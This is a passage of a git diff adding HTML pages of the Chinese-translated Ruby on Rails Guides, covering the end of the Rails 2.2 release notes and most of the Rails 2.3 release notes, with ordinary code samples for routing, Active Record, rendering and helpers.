  • Set config.active_record.timestamped_migrations = false to have migrations with numeric prefix instead of UTC timestamp.
  • +
  • Counter cache columns (for associations declared with :counter_cache => true) do not need to be initialized to zero any longer.
  • +
  • +ActiveRecord::Base.human_name for an internationalization-aware humane translation of model names
  • +
+

6 Action Controller

On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.

6.1 Shallow Route Nesting

Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.

+
+map.resources :publishers, :shallow => true do |publisher|
+  publisher.resources :magazines do |magazine|
+    magazine.resources :photos
+  end
+end
+
+
+
+

This will enable recognition of (among others) these routes:

+
+/publishers/1           ==> publisher_path(1)
+/publishers/1/magazines ==> publisher_magazines_path(1)
+/magazines/2            ==> magazine_path(2)
+/magazines/2/photos     ==> magazines_photos_path(2)
+/photos/3               ==> photo_path(3)
+
+
+
+ + +

6.2 Method Arrays for Member or Collection Routes

You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:

+
+map.resources :photos, :collection => { :search => [:get, :post] }
+
+
+
+ + +

6.3 Resources With Specific Actions

By default, when you use map.resources to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the :only and :except options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special :all or :none options. These options are inherited by nested resources.

+
+map.resources :photos, :only => [:index, :show]
+map.resources :products, :except => :destroy
+
+
+
+ + +

6.4 Other Action Controller Changes

+
    +
  • You can now easily show a custom error page for exceptions raised while routing a request.
  • +
  • The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as /customers/1.xml) to indicate the format that you want. If you need the Accept headers, you can turn them back on with config.action_controller.use_accept_header = true.
  • +
  • Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
  • +
  • Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
  • +
  • +redirect_to now fully supports URI schemes (so, for example, you can redirect to a svn`ssh: URI).
  • +
  • +render now supports a :js option to render plain vanilla JavaScript with the right mime type.
  • +
  • Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
  • +
  • Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling polymorphic_path([@project, @date, @area]) with a nil date will give you project_area_path.
  • +
+

7 Action View

+
    +
  • +javascript_include_tag and stylesheet_link_tag support a new :recursive option to be used along with :all, so that you can load an entire tree of files with a single line of code.
  • +
  • The included Prototype JavaScript library has been upgraded to version 1.6.0.3.
  • +
  • +RJS#page.reload to reload the browser's current location via JavaScript
  • +
  • The atom_feed helper now takes an :instruct option to let you insert XML processing instructions.
  • +
+

8 Action Mailer

Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the CustomerMailer class expects to use layouts/customer_mailer.html.erb.

+ +

Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.

9 Active Support

Active Support now offers built-in memoization for Rails applications, the each_with_object method, prefix support on delegates, and various other new utility methods.

9.1 Memoization

Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:

+
+def full_name
+  @full_name ||= "#{first_name} #{last_name}"
+end
+
+
+
+

Memoization lets you handle this task in a declarative fashion:

+
+extend ActiveSupport::Memoizable
+
+def full_name
+  "#{first_name} #{last_name}"
+end
+memoize :full_name
+
+
+
+

Other features of memoization include unmemoize, unmemoize_all, and memoize_all to turn memoization on or off.

+ +

9.2 each_with_object

The each_with_object method provides an alternative to inject, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.

+
+%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } # => {'foo' => 'FOO', 'bar' => 'BAR'}
+
+
+
+

Lead Contributor: Adam Keys

9.3 Delegates With Prefixes

If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:

+
+class Vendor < ActiveRecord::Base
+  has_one :account
+  delegate :email, :password, :to => :account, :prefix => true
+end
+
+
+
+

This will produce delegated methods vendor#account_email and vendor#account_password. You can also specify a custom prefix:

+
+class Vendor < ActiveRecord::Base
+  has_one :account
+  delegate :email, :password, :to => :account, :prefix => :owner
+end
+
+
+
+

This will produce delegated methods vendor#owner_email and vendor#owner_password.

Lead Contributor: Daniel Schierbeck

9.4 Other Active Support Changes

+
    +
  • Extensive updates to ActiveSupport::Multibyte, including Ruby 1.9 compatibility fixes.
  • +
  • The addition of ActiveSupport::Rescuable allows any class to mix in the rescue_from syntax.
  • +
  • +past?, today? and future? for Date and Time classes to facilitate date/time comparisons.
  • +
  • +Array#second through Array#fifth as aliases for Array#[1] through Array#[4] +
  • +
  • +Enumerable#many? to encapsulate collection.size > 1 +
  • +
  • +Inflector#parameterize produces a URL-ready version of its input, for use in to_param.
  • +
  • +Time#advance recognizes fractional days and weeks, so you can do 1.7.weeks.ago, 1.5.hours.since, and so on.
  • +
  • The included TzInfo library has been upgraded to version 0.3.12.
  • +
  • +ActiveSupport::StringInquirer gives you a pretty way to test for equality in strings: ActiveSupport::StringInquirer.new("abc").abc? => true +
  • +
+

10 Railties

In Railties (the core code of Rails itself) the biggest changes are in the config.gems mechanism.

10.1 config.gems

To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in /vendor/gems. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:

+
    +
  • +config.gem _gem_name_ in your config/environment.rb file
  • +
  • +rake gems to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen)
  • +
  • +rake gems:install to install missing gems to the computer
  • +
  • +rake gems:unpack to place a copy of the required gems into /vendor/gems +
  • +
  • +rake gems:unpack:dependencies to get copies of the required gems and their dependencies into /vendor/gems +
  • +
  • +rake gems:build to build any missing native extensions
  • +
  • +rake gems:refresh_specs to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them
  • +
+

You can unpack or install a single gem by specifying GEM=_gem_name_ on the command line.

+ +

10.2 Other Railties Changes

+
    +
  • If you're a fan of the Thin web server, you'll be happy to know that script/server now supports Thin directly.
  • +
  • +script/plugin install &lt;plugin&gt; -r &lt;revision&gt; now works with git-based as well as svn-based plugins.
  • +
  • +script/console now supports a --debugger option
  • +
  • Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
  • +
  • +rake notes:custom ANNOTATION=MYFLAG lets you list out custom annotations.
  • +
  • Wrapped Rails.env in StringInquirer so you can do Rails.env.development? +
  • +
  • To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.
  • +
+

11 Deprecated

A few pieces of older code are deprecated in this release:

+
    +
  • +Rails::SecretKeyGenerator has been replaced by ActiveSupport::SecureRandom +
  • +
  • +render_component is deprecated. There's a render_components plugin available if you need this functionality.
  • +
  • +

    Implicit local assignments when rendering partials has been deprecated.

    +
    +
    +def partial_with_implicit_local_assignment
    +  @customer = Customer.new("Marcel")
    +  render :partial => "customer"
    +end
    +
    +
    +
    +

    Previously the above code made available a local variable called customer inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.

    +
  • +
  • country_select has been removed. See the deprecation page for more information and a plugin replacement.

  • +
  • ActiveRecord::Base.allow_concurrency no longer has any effect.

  • +
  • ActiveRecord::Errors.default_error_messages has been deprecated in favor of I18n.translate('activerecord.errors.messages')

  • +
  • The %s and %d interpolation syntax for internationalization is deprecated.

  • +
  • String#chars has been deprecated in favor of String#mb_chars.

  • +
  • Durations of fractional months or fractional years are deprecated. Use Ruby's core Date and Time class arithmetic instead.

  • +
  • Request#relative_url_root is deprecated. Use ActionController::Base.relative_url_root instead.

  • +
+

12 Credits

Release notes compiled by Mike Gunderloy

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/2_3_release_notes.html b/v5.0/2_3_release_notes.html new file mode 100644 index 0000000..39510af --- /dev/null +++ b/v5.0/2_3_release_notes.html @@ -0,0 +1,878 @@ + + + + + + + +Ruby on Rails 2.3 Release Notes — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Ruby on Rails 2.3 Release Notes

Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the list of commits in the main Rails repository on GitHub or review the CHANGELOG files for the individual Rails components.

+ + + +
+
+ +
+
+
+

1 Application Architecture

There are two major changes in the architecture of Rails applications: complete integration of the Rack modular web server interface, and renewed support for Rails Engines.

1.1 Rack Integration

Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:

+
    +
  • Sessions
  • +
  • Cookies
  • +
  • File uploads
  • +
  • JSON/XML APIs
  • +
+

Here's a summary of the rack-related changes:

+
    +
  • +script/server has been switched to use Rack, which means it supports any Rack compatible server. script/server will also pick up a rackup configuration file if one exists. By default, it will look for a config.ru file, but you can override this with the -c switch.
  • +
  • The FCGI handler goes through Rack.
  • +
  • +ActionController::Dispatcher maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in environment.rb.
  • +
  • The rake middleware task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.
  • +
  • The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware.
  • +
  • +ActionController::CGIHandler is a backwards compatible CGI wrapper around Rack. The CGIHandler is meant to take an old CGI object and convert its environment information into a Rack compatible form.
  • +
  • +CgiRequest and CgiResponse have been removed.
  • +
  • Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object).
  • +
  • You no longer need to use CGI::Cookie.new in your tests for setting a cookie value. Assigning a String value to request.cookies["foo"] now sets the cookie as expected.
  • +
  • +CGI::Session::CookieStore has been replaced by ActionController::Session::CookieStore.
  • +
  • +CGI::Session::MemCacheStore has been replaced by ActionController::Session::MemCacheStore.
  • +
  • +CGI::Session::ActiveRecordStore has been replaced by ActiveRecord::SessionStore.
  • +
  • You can still change your session store with ActionController::Base.session_store = :active_record_store.
  • +
  • Default sessions options are still set with ActionController::Base.session = { :key => "..." }. However, the :session_domain option has been renamed to :domain.
  • +
  • The mutex that normally wraps your entire request has been moved into middleware, ActionController::Lock.
  • +
  • +ActionController::AbstractRequest and ActionController::Request have been unified. The new ActionController::Request inherits from Rack::Request. This affects access to response.headers['type'] in test requests. Use response.content_type instead.
  • +
  • +ActiveRecord::QueryCache middleware is automatically inserted onto the middleware stack if ActiveRecord has been loaded. This middleware sets up and flushes the per-request Active Record query cache.
  • +
  • The Rails router and controller classes follow the Rack spec. You can call a controller directly with SomeController.call(env). The router stores the routing parameters in rack.routing_args.
  • +
  • +ActionController::Request inherits from Rack::Request.
  • +
  • Instead of config.action_controller.session = { :session_key => 'foo', ... use config.action_controller.session = { :key => 'foo', ....
  • +
  • Using the ParamsParser middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any Rack::Request object after it.
  • +
+

1.2 Renewed Support for Rails Engines

After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your routes.rb file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins.

2 Documentation

The Ruby on Rails guides project has published several additional guides for Rails 2.3. In addition, a separate site maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the Rails wiki and early planning for a Rails Book.

+ +

3 Ruby 1.9.1 Support

Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core.

4 Active Record

Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing.

4.1 Nested Attributes

Active Record can now update the attributes on nested models directly, provided you tell it to do so:

+
+class Book < ActiveRecord::Base
+  has_one :author
+  has_many :pages
+
+  accepts_nested_attributes_for :author, :pages
+end
+
+
+
+

Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).

You can also specify requirements for any new records that are added via nested attributes using the :reject_if option:

+
+accepts_nested_attributes_for :author,
+  :reject_if => proc { |attributes| attributes['name'].blank? }
+
+
+
+ + +

4.2 Nested Transactions

Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:

+
+User.transaction do
+  User.create(:username => 'Admin')
+  User.transaction(:requires_new => true) do
+    User.create(:username => 'Regular')
+    raise ActiveRecord::Rollback
+  end
+end
+
+User.find(:all)  # => Returns only Admin
+
+
+
+

Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the :requires_new option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are using savepoints so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing.

+ +

4.3 Dynamic Scopes

You know about dynamic finders in Rails (which allow you to concoct methods like find_by_color_and_flavor on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like currently_active). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly and method chaining. For example:

+
+Order.scoped_by_customer_id(12)
+Order.scoped_by_customer_id(12).find(:all,
+  :conditions => "status = 'open'")
+Order.scoped_by_customer_id(12).scoped_by_status("open")
+
+
+
+

There's nothing to define to use dynamic scopes: they just work.

+ +

4.4 Default Scopes

Rails 2.3 will introduce the notion of default scopes similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write default_scope :order => 'name ASC' and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course).

+ +

4.5 Batch Processing

You can now process large numbers of records from an Active Record model with less pressure on memory by using find_in_batches:

+
+Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
+  customer_group.each { |customer| customer.update_account_balance! }
+end
+
+
+
+

You can pass most of the find options into find_in_batches. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the :limit option. Instead, use the :batch_size option, which defaults to 1000, to set the number of records that will be returned in each batch.

The new find_each method provides a wrapper around find_in_batches that returns individual records, with the find itself being done in batches (of 1000 by default):

+
+Customer.find_each do |customer|
+  customer.update_account_balance!
+end
+
+
+
+

Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.

+ +

4.6 Multiple Conditions for Callbacks

When using Active Record callbacks, you can now combine :if and :unless options on the same callback, and supply multiple conditions as an array:

+
+before_save :update_credit_rating, :if => :active,
+  :unless => [:admin, :cash_only]
+
+
+
+ +
    +
  • Lead Contributor: L. Caviola
  • +
+

4.7 Find with having

Rails now has a :having option on find (as well as on has_many and has_and_belongs_to_many associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:

+
+developers = Developer.find(:all, :group => "salary",
+  :having => "sum(salary) > 10000", :select => "salary")
+
+
+
+ + +

4.8 Reconnecting MySQL Connections

MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set reconnect = true for your MySQL connections in database.yml to get this behavior from a Rails application. The default is false, so the behavior of existing applications doesn't change.

+ +

4.9 Other Active Record Changes

+
    +
  • An extra AS was removed from the generated SQL for has_and_belongs_to_many preloading, making it work better for some databases.
  • +
  • +ActiveRecord::Base#new_record? now returns false rather than nil when confronted with an existing record.
  • +
  • A bug in quoting table names in some has_many :through associations was fixed.
  • +
  • You can now specify a particular timestamp for updated_at timestamps: cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago) +
  • +
  • Better error messages on failed find_by_attribute! calls.
  • +
  • Active Record's to_xml support gets just a little bit more flexible with the addition of a :camelize option.
  • +
  • A bug in canceling callbacks from before_update or before_create was fixed.
  • +
  • Rake tasks for testing databases via JDBC have been added.
  • +
  • +validates_length_of will use a custom error message with the :in or :within options (if one is supplied).
  • +
  • Counts on scoped selects now work properly, so you can do things like Account.scoped(:select => "DISTINCT credit_limit").count.
  • +
  • +ActiveRecord::Base#invalid? now works as the opposite of ActiveRecord::Base#valid?.
  • +
+

5 Action Controller

Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.

5.1 Unified Rendering

ActionController::Base#render is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:

+
+render :file => '/tmp/random_file.erb'
+render :template => 'other_controller/action'
+render :action => 'show'
+
+
+
+

Now in Rails 2.3, you can just supply what you want to render:

+
+render '/tmp/random_file.erb'
+render 'other_controller/action'
+render 'show'
+render :show
+
+
+
+

Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (:inline, :text, :update, :nothing, :json, :xml, :js) still require an explicit option.

5.2 Application Controller Renamed

If you're one of the people who has always been bothered by the special-case naming of application.rb, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, rake rails:update:application_controller to do this automatically for you - and it will be run as part of the normal rake rails:update process.

+ +

5.3 HTTP Digest Authentication Support

Rails now has built-in support for HTTP digest authentication. To use it, you call authenticate_or_request_with_http_digest with a block that returns the user's password (which is then hashed and compared against the transmitted credentials):

+
+class PostsController < ApplicationController
+  Users = {"dhh" => "secret"}
+  before_filter :authenticate
+
+  def secret
+    render :text => "Password Required!"
+  end
+
+  private
+  def authenticate
+    realm = "Application"
+    authenticate_or_request_with_http_digest(realm) do |name|
+      Users[name]
+    end
+  end
+end
+
+
+
+ + +

5.4 More Efficient Routing

There are a couple of significant routing changes in Rails 2.3. The formatted_ route helpers are gone, in favor just passing in :format as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the formatted_ helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just routes.rb. You can use RouteSet#add_configuration_file to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.

+ +

5.5 Rack-based Lazy-loaded Sessions

A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load.

5.6 MIME Type Handling Changes

There are a couple of changes to the code for handling MIME types in Rails. First, MIME::Type now implements the =~ operator, making things much cleaner when you need to check for the presence of a type that has synonyms:

+
+if content_type && Mime::JS =~ content_type
+  # do something cool
+end
+
+Mime::JS =~ "text/javascript"        => true
+Mime::JS =~ "application/javascript" => true
+
+
+
+

The other change is that the framework now uses the Mime::JS when checking for JavaScript in various spots, making it handle those alternatives cleanly.

+ +

5.7 Optimization of respond_to +

In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the respond_to method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to method_missing and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple respond_to that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup.

5.8 Improved Caching Performance

Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to MemCacheStore, it is available to any remote store than implements the required methods.

+ +

5.9 Localized Views

Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a Posts controller with a show action. By default, this will render app/views/posts/show.html.erb. But if you set I18n.locale = :da, it will render app/views/posts/show.da.html.erb. If the localized template isn't present, the undecorated version will be used. Rails also includes I18n#available_locales and I18n::SimpleBackend#available_locales, which return an array of the translations that are available in the current Rails project.

In addition, you can use the same scheme to localize the rescue files in the public directory: public/500.da.html or public/404.en.html work, for example.

5.10 Partial Scoping for Translations

A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call translate(".foo") from the people/index.html.erb template, you'll actually be calling I18n.translate("people.index.foo") If you don't prepend the key with a period, then the API doesn't scope, just as before.

5.11 Other Action Controller Changes

+
    +
  • ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with send_file.
  • +
  • The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set ActionController::Base.ip_spoofing_check = false to disable the check entirely.
  • +
  • +ActionController::Dispatcher now implements its own middleware stack, which you can see by running rake middleware.
  • +
  • Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.
  • +
  • You can now use symbols for the :type option of send_file and send_data, like this: send_file("fabulous.png", :type => :png).
  • +
  • The :only and :except options for map.resources are no longer inherited by nested resources.
  • +
  • The bundled memcached client has been updated to version 1.6.4.99.
  • +
  • The expires_in, stale?, and fresh_when methods now accept a :public option to make them work well with proxy caching.
  • +
  • The :requirements option now works properly with additional RESTful member routes.
  • +
  • Shallow routes now properly respect namespaces.
  • +
  • +polymorphic_url does a better job of handling objects with irregular plural names.
  • +
+

6 Action View

Action View in Rails 2.3 picks up nested model forms, improvements to render, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.

6.1 Nested Object Forms

Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using form_for and field_for. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:

+
+class Customer < ActiveRecord::Base
+  has_many :orders
+
+  accepts_nested_attributes_for :orders, :allow_destroy => true
+end
+
+
+
+

You can write this view in Rails 2.3:

+
+<% form_for @customer do |customer_form| %>
+  <div>
+    <%= customer_form.label :name, 'Customer Name:' %>
+    <%= customer_form.text_field :name %>
+  </div>
+
+  <!-- Here we call fields_for on the customer_form builder instance.
+   The block is called for each member of the orders collection. -->
+  <% customer_form.fields_for :orders do |order_form| %>
+    <p>
+      <div>
+        <%= order_form.label :number, 'Order Number:' %>
+        <%= order_form.text_field :number %>
+      </div>
+
+  <!-- The allow_destroy option in the model enables deletion of
+   child records. -->
+      <% unless order_form.object.new_record? %>
+        <div>
+          <%= order_form.label :_delete, 'Remove:' %>
+          <%= order_form.check_box :_delete %>
+        </div>
+      <% end %>
+    </p>
+  <% end %>
+
+  <%= customer_form.submit %>
+<% end %>
+
+
+
+ + +

6.2 Smart Rendering of Partials

The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):

+
+# Equivalent of render :partial => 'articles/_article',
+# :object => @article
+render @article
+
+# Equivalent of render :partial => 'articles/_article',
+# :collection => @articles
+render @articles
+
+
+
+ + +

6.3 Prompts for Date Select Helpers

In Rails 2.3, you can supply custom prompts for the various date select helpers (date_select, time_select, and datetime_select), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set :prompt to true to use the custom generic prompt:

+
+select_datetime(DateTime.now, :prompt => true)
+
+select_datetime(DateTime.now, :prompt => "Choose date and time")
+
+select_datetime(DateTime.now, :prompt =>
+  {:day => 'Choose day', :month => 'Choose month',
+   :year => 'Choose year', :hour => 'Choose hour',
+   :minute => 'Choose minute'})
+
+
+
+ + +

6.4 AssetTag Timestamp Caching

You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the cache_asset_timestamps configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients.

6.5 Asset Hosts as Objects

Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to implement any complex logic you need in your asset hosting.

+ +

6.6 grouped_options_for_select Helper Method

Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: grouped_options_for_select. This one accepts an array or hash of strings, and converts them into a string of option tags wrapped with optgroup tags. For example:

+
+grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
+  "Cowboy Hat", "Choose a product...")
+
+
+
+

returns

+
+<option value="">Choose a product...</option>
+<optgroup label="Hats">
+  <option value="Baseball Cap">Baseball Cap</option>
+  <option selected="selected" value="Cowboy Hat">Cowboy Hat</option>
+</optgroup>
+
+
+
+

6.7 Disabled Option Tags for Form Select Helpers

The form select helpers (such as select and options_for_select) now support a :disabled option, which can take a single value or an array of values to be disabled in the resulting tags:

+
+select(:post, :category, Post::CATEGORIES, :disabled => 'private')
+
+
+
+

returns

+
+<select name="post[category]">
+<option>story</option>
+<option>joke</option>
+<option>poem</option>
+<option disabled="disabled">private</option>
+</select>
+
+
+
+

You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled:

+
+options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?})
+
+
+
+ + +

6.8 A Note About Template Loading

Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server.

In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your production.rb file:

+
+config.action_view.cache_template_loading = true
+
+
+
+

This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.

6.9 Other Action View Changes

+
    +
  • Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by ActiveSupport::SecureRandom rather than mucking around with session IDs.
  • +
  • +auto_link now properly applies options (such as :target and :class) to generated e-mail links.
  • +
  • The autolink helper has been refactored to make it a bit less messy and more intuitive.
  • +
  • +current_page? now works properly even when there are multiple query parameters in the URL.
  • +
+

7 Active Support

Active Support has a few interesting changes, including the introduction of Object#try.

7.1 Object#try

A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like <%= @person.try(:name) %>. Well, now it's baked right into Rails. As implemented in Rails, it raises NoMethodError on private methods and always returns nil if the object is nil.

+
    +
  • More Information: try() +
  • +
+

7.2 Object#tap Backport

Object#tap is an addition to Ruby 1.9 and 1.8.7 that is similar to the returning method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.

7.3 Swappable Parsers for XMLmini

The support for XML parsing in Active Support has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:

+
+XmlMini.backend = 'LibXML'
+
+
+
+ + +

7.4 Fractional seconds for TimeWithZone

The Time and TimeWithZone classes include an xmlschema method to return the time in an XML-friendly string. As of Rails 2.3, TimeWithZone supports the same argument for specifying the number of digits in the fractional second part of the returned string that Time does:

+
+>> Time.zone.now.xmlschema(6)
+=> "2009-01-16T13:00:06.13653Z"
+
+
+
+ + +

7.5 JSON Key Quoting

If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys.

7.6 Other Active Support Changes

+
    +
  • You can use Enumerable#none? to check that none of the elements match the supplied block.
  • +
  • If you're using Active Support delegates the new :allow_nil option lets you return nil instead of raising an exception when the target object is nil.
  • +
  • +ActiveSupport::OrderedHash: now implements each_key and each_value.
  • +
  • +ActiveSupport::MessageEncryptor provides a simple way to encrypt information for storage in an untrusted location (like cookies).
  • +
  • Active Support's from_xml no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.
  • +
  • If you memoize a private method, the result will now be private.
  • +
  • +String#parameterize accepts an optional separator: "Quick Brown Fox".parameterize('_') => "quick_brown_fox".
  • +
  • +number_to_phone accepts 7-digit phone numbers now.
  • +
  • +ActiveSupport::Json.decode now handles \u0000 style escape sequences.
  • +
+

8 Railties

In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.

8.1 Rails Metal

